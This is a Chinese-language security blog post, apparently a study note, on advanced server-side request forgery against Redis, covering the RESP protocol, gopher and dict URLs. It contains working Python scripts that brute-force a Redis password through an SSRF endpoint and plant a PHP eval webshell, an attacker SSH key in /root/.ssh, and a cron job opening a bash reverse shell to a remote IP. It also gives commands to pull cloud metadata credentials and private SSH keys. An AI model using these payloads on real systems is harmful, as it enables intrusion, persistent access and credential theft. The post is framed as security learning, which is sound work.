avatar

cindahy

A text-focused Halo theme

  • 首页
  • 文章分类
  • 项目
  • 关于
Home SSRF进阶
文章

SSRF进阶

Posted 2025-06-23 Updated 16 days ago
By Administrator
38~49 min read

前言:主要参考了https://www.freebuf.com/articles/web/263556.html这篇文章

Redis服务

基础概念:

Redis是一个开源的、基于内存的数据结构存储系统,默认端口6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。

RESP协议

Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。

RESP实际上是一个支持以下数据类型的序列化协议:Simple Strings(简单字符串),error(错误),Integer(整数),Bulk Strings(多行字符串)和 array(数组)。

数据类型

  1. Simple Strings

  • 格式:+ 后跟字符串,以 \r\n 结尾

  • 示例:+OK\r\n

  • 用于服务器返回简单状态信息,如 +OK、+PONG

  1. 错误 (Errors)

  • 格式:- 后跟错误类型和消息,以 \r\n 结尾

  • 示例:-ERR unknown command 'foobar'\r\n

  • 与简单字符串类似,但客户端应将其视为错误

  1. 整数 (Integers)

  • 格式:: 后跟数字,以 \r\n 结尾

  • 示例::1000\r\n

  • 用于返回整数,如 INCR 命令的返回值

  1. 批量字符串 (Bulk Strings)

  • 格式:$ 后跟字符串长度,然后是 \r\n 和实际字符串,以 \r\n 结尾

  • 示例:$6\r\nfoobar\r\n

  • 用于传输二进制安全的字符串,最大长度512MB

  • 空字符串表示为 $0\r\n\r\n

  • NULL 值表示为 $-1\r\n

  1. 数组 (Arrays)

  • 格式:* 后跟元素数量,然后是各元素,以 \r\n 结尾

  • 示例:*2\r\n$3\r\nfoo\r\n$3\r\nbar\r\n

  • 用于表示命令和多个返回值

  • 空数组表示为 *0\r\n

  • NULL 数组表示为 *-1\r\n

示例

解析

最上面4行是客户端自动请求服务器信息,服务器提示我们需要认证,我们就从我们自己发送的认证信息开始分析。
*2      #数组 长度为2
$4      #多行字符串 长度为4
auth    #认证
$6      #多行字符串 长度为6
123456  #密码123456
+OK #服务器返回 普通字符串 OK,表示成功
*3  #数组 长度为3
$3      #多行字符串 长度为3
set #设置key
$3  #多行字符串 长度为3
ATL #key为ATL
$5  #多行字符串 长度为5
Ocean   #velue为Ocean
+OK #服务器返回 普通字符串 OK,表示成功

以上命令通过url编码后就可以通过curl和gopher协议发送给Redis服务器如;

curl
gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A

攻击Redis

攻击Redis一般有 3种思路:

  1. 在web目录写webshell

  2. 在.ssh目录写公钥,利用私钥登录ssh

  3. 利用定时任务反弹shell

在攻击redis时如果配置中设置了监听本机ip,我们就可以远程访问6379端口与redis通信,但一般只会监听本地端口,这时候我们就要利用SSRF(在有ssrf漏洞发页面将数据进行两次URL编码发送)

默认redis不设置密码,但是如果设置了密码就需要爆破。

#password.txt字典放在同目录下
# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"


def get_password():
    f = open("password.txt", "r")
    return f.readlines()


def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder


for password in get_password():
    # 攻击脚本
    cmd = """
    auth %s
    quit
    """ % password
    # 二次编码
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    print(payload)
    # 发起请求
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        exit()
print("Password not found!")
print("Please change the dictionary,and try again.")

web目录写webshell

redis如何写入文件:redis可以导出当前数据库的key和value,并且可以通过配置导出路径和文件名

config set dir /var/www/html//设置导出路径
config set dbfilename shell.php//设置导出文件名
save //执行导出操作

所以我们可以

  1. 把一个key的值设为一句话木马

  2. 配置导出路径为web目录

  3. 导出文件名为php文件

来在web目录下写入webshell

获取到密码后再加上一段写入shell的脚本:

# -*- coding: UTF-8 -*-
from urllib.parse import quote
from urllib.request import Request, urlopen

url = "http://192.168.48.133/ssrf.php?url="
gopher = "gopher://127.0.0.1:6379/_"

def get_password():                 
    f = open("password.txt", "r")   
    return f.readlines()            

def encoder_url(cmd):
    urlencoder = quote(cmd).replace("%0A", "%0D%0A")
    return urlencoder

###------暴破密码,无密码可删除-------###
for password in get_password():
    # 攻击脚本
    path = "/var/www/html/test"
    shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n"
    filename = "shell.php"

    cmd = """
    auth %s
    quit
    """ % password
    # 二次编码
    encoder = encoder_url(encoder_url(cmd))
    # 生成payload
    payload = url + gopher + encoder
    # 发起请求
    print(payload)
    request = Request(payload)
    response = urlopen(request).read().decode()
    print("This time password is:" + password)
    print("Get response is:")
    print(response)
    if response.count("+OK") > 1:
        print("find password : " + password)
        #####---------------如无密码,直接从此开始执行---------------#####
        cmd = """
        auth %s
        config set dir %s
        config set dbfilename %s
        set test1 "%s"
        save
        quit
        """ % (password, path, filename, shell)
        # 二次编码
        encoder = encoder_url(encoder_url(cmd))
        # 生成payload
        payload = url + gopher + encoder
        # 发起请求
        request = Request(payload)
        print(payload)
        response = urlopen(request).read().decode()
        print("response is:" + response)
        if response.count("+OK") > 5:
            print("Write success!")
            exit()
        else:
            print("Write failed. Please check and try again")
            exit()
        #####---------------如无密码,到此处结束------------------#####
print("Password not found!")
print("Please change the dictionary,and try again.")

之后用蚁剑或者菜刀远程连接就行

写入公钥,利用私钥登录ssh

需要确保靶机允许使用密钥登录。

开启方法:需要修改 ssh 配置文件 /etc/ssh/sshd_config

#StrictModes yes
改为
StrictModes no
然后重启sshd即可
/bin/systemctl restart  sshd.service

  • 生成一对公钥和私钥:ssh-keygen -t rsa

  • 之后在/.ssh目录下,就能看到生成的公钥和私钥了

  • 公钥内容

sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
  • 路径改为:/root/.ssh

  • 写入公钥内容

  • 文件名改为:authorized_keys

path= "/root/.ssh"       #路径
shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n"
filename= "authorized_keys"  #文件名

运行脚本之后就能免密登录靶机了

利用定时任务反弹shell:

  • 通过nc监听端口

  • 靶机执行

linux下通过输入输出流来反弹shell:

/bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1

  • 攻击机

  • 写入定时任务

path = "/var/spool/cron/crontabs"         #路径
shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n"
filename = "root"   #文件名

一些基础概念

Gopher协议

Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持

  • 协议特点

  • 基于TCP,默认端口70

  • 支持多行命令

  • 可以构造任意的TCP数据包

  • 常用于攻击Redis、MySQL、Memcached等内网服务

  • 在SSRF中的作用

Gopher是SSRF中最危险的协议之一,因为:

  • 可构造任意TCP请求(如Redis、MySQL命令)

  • 绕过HTTP限制(HTTP只能单行请求,Gopher可多行)

  • 攻击内网未授权服务(如Redis未授权访问)

  • 攻击示例(Redis未授权访问)

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a

解码后相当于向Redis发送( SET 1 1)

Dict协议

Dict用于查询字典定义,默认端口2628

  • 协议特点

  • 主要用于查询单词定义

  • 可以探测端口开放情况

  • 某些实现允许执行简单命令

  • 在SSRF中的作用

  • 端口扫描(检查内网服务是否开放)

dict://127.0.0.1:6379/

如果 Redis 开放,会返回 -ERR unknown command。

  • 获取服务信息

dict://127.0.0.1:2628/info

某些服务(如Redis)会返回版本信息

curl

curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)

用途

命令示例

注释

GET 请求

curl https://example.com

POST请求

curl -X POST https://example.com/api -d "name=value"

-X:指定 HTTP方法

-d:发送POST数据(表单格式)

发送JSON

curl -X POST https://example.com/api \

-H "Content-Type: application/json" \

-d '{"key": "value"}'

-H:添加 HTTP 请求头(如 Content-Type)

-d:发送 JSON 数据。

查看请求和响应头

curl -v https://example.com

仅查看响应头

curl -I https://example.com

保存输出到文件

curl -o output.html https://example.com

curl -O https://example.com/file.zip

-o:将响应保存到文件(output.html)

-O:保存文件并将 URL 的最后部分当作文件名。

跟随重定向

curl -L https://example.com

-L(--location):自动跟随 301/302 重定向

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

AK/SK

云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥

常见云服务AK/SK:

  • AWS:AKIAxxxxxxxxxxxxxxxx

  • 阿里云:LTAIxxxxxxxxxxxxxxxx

  • 腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

利用技巧

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

不同云厂商的元数据端点:

  • AWS: 169.254.169.254

  • 阿里云: 100.100.100.200

  • 腾讯云: metadata.tencentyun.com

临时凭证使用

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test

SSH

  1. SSH密钥类型:RSA、DSA、ECDSA、Ed25519

  2. 常见位置:

  • ~/.ssh/id_rsa (私钥)

  • ~/.ssh/authorized_keys (公钥授权文件)

  • /etc/ssh/ssh_host_*_key (主机密钥)

利用技巧

1.读取本地文件获取SSH密钥:

curl file:///home/user/.ssh/id_rsa
  1. 通过gopher协议利用SSH:

  • 构造SSH协议流量攻击内网SSH服务

  • 利用已知漏洞或弱密码尝试登录

  1. 利用known_hosts文件

  • 获取内网主机信息

  • 分析信任关系

webgoat
webgoat ssrf
License:  CC BY 4.0
Share

Further Reading

Aug 4, 2025

XXE

XML实体 XML实体(Entity)是XML中用来定义可重用内容的机制,当XML文档被解析时,这些实体引用会被替换为实际内容。实体主要有三种类型: 内部实体:在文档内部定义的实体(是否开启根元素的约束)(#PCDATA) <!DOCTYPE example [ <!ENTITY js "Jo

Jun 28, 2025

有缺陷的访问控制

HijackSessionAssignment 在 HijackSessionAuthenticationProvider 类中,ID 的生成由以下代码控制: private static long id = new Random().nextLong() & Long.MAX_VALUE; //

Jun 24, 2025

XSS(跨站脚本攻击)

基本概念 XSS是一种将恶意脚本注入到其他用户浏览的网页中的攻击方式 分类 反射型 非持久化攻击 典型场景 恶意URL:http://example.com/search?q=<script>alert(1)</script> 当用户点击该链接时,服务器返回的页面中包含未转义的搜索词,导致脚本执行

OLDER

身份认证缺陷

NEWER

SSRF(服务端请求伪造)

Recently Updated

  • 常见安全产品整理(防火墙,WAF,EDR)
  • ELK从入门到实践
  • bp+mumu模拟器app抓包
  • xray漏扫工具
  • Java反序列化-RMI的几种攻击方式

Trending Tags

安全运营 文件上传 php反序列化 xss csrf ssrf xxe sql php 白帽子讲web安全

Contents

©2025 cindahy. Some rights reserved.

Using the Halo theme Chirpy